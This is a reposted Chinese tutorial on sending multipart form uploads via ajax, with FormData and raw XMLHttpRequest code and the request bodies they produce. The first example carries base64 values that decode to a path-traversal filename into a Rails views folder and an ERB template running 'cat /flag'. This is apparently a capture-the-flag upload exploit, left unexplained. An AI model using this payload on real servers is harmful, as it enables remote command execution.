分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 前端开发

ajax上传表单的俩种方式

发布时间:2023-09-06 02:22责任编辑:傅花花关键词:暂无标签

1.用h5对象上传表单(图片)

 ???var formData = new FormData(); ???formData.append("authenticity_token", ‘1212121212‘); ???formData.append("file[context]", "zxcvxzcvxzcv"); ???var content = ‘PCU9IGBjYXQgL2ZsYWcgYCAlPg==‘; ??//这是文件内容的base64 ???var blob = new Blob([content], { type: "image/png"}); ???formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"); ?//这里是文件名的base64 ???formData.append("commit", ‘submit‘); ???var request = new XMLHttpRequest(); ???request.open("POST", "https://xz.aliyun.com/t/3245"); ???request.send(formData);

请求体

------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2Content-Disposition: form-data; name="authenticity_token"1212121212------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2Content-Disposition: form-data; name="file[context]"zxcvxzcvxzcv------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2Content-Disposition: form-data; name="file[myfile]"; filename="Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"Content-Type: image/pngPCU9IGBjYXQgL2ZsYWcgYCAlPg==------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2Content-Disposition: form-data; name="commit"submit------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2--

1.用h5对象上传表单(txt)

 ???var formData = new FormData(); ???var content = ‘testestestes‘; ??//这是文件内容的base64 ???var blob = new Blob([content], { type: "text/plain"}); ???formData.append("file[myfile]", blob,"haha.txt"); ?//这里是文件名的base64 ???formData.append("commit", ‘submit‘); ???var request = new XMLHttpRequest(); ???request.open("POST", "https://xz.aliyun.com/t/3245"); ???request.send(formData);

请求体

------WebKitFormBoundaryFcFYtbPnXsiq8yjIContent-Disposition: form-data; name="file[myfile]"; filename="haha.txt"Content-Type: text/plaintestestestes------WebKitFormBoundaryFcFYtbPnXsiq8yjIContent-Disposition: form-data; name="commit"submit------WebKitFormBoundaryFcFYtbPnXsiq8yjI--

2.使用原生js上传表单数据

通过余弦这个网站辅助生成表单

xhr = function(){ ?/*AJAX*/ ?var request = false; ?if(window.XMLHttpRequest) { ???request = new XMLHttpRequest(); ?} else if(window.ActiveXObject) { ???try { ?????request = new window.ActiveXObject(‘Microsoft.XMLHTTP‘); ???} catch(e) {} ?} ?return request;}();request = function(method,src,argv,content_type){ ?xhr.open(method,src,false); ?if(method==‘POST‘)xhr.setRequestHeader(‘Content-Type‘,content_type); ?xhr.send(argv); ?return xhr.responseText;}attack_a = function(){ ?var src = "https://xz.aliyun.com"; ?var authenticity_token = "1212121212"; ?var file = "zxcvxzcvxzcv"; ?var argv_0 = "\r\n"; ?argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"authenticity_token\"\r\n\r\n"; ?argv_0 += (authenticity_token+"\r\n"); ?argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"file\"\r\n\r\n"; ?argv_0 += (file+"\r\n"); ?argv_0 += "---------------------7964f8dddeb95fc5--\r\n"; ?request("POST",src,argv_0,"multipart/form-data; boundary=-------------------7964f8dddeb95fc5");}

请求体:

---------------------7964f8dddeb95fc5Content-Disposition: form-data; name="authenticity_token"1212121212---------------------7964f8dddeb95fc5Content-Disposition: form-data; name="file"zxcvxzcvxzcv---------------------7964f8dddeb95fc5--

ajax上传表单的俩种方式

原文地址:https://www.cnblogs.com/afanti/p/9949593.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved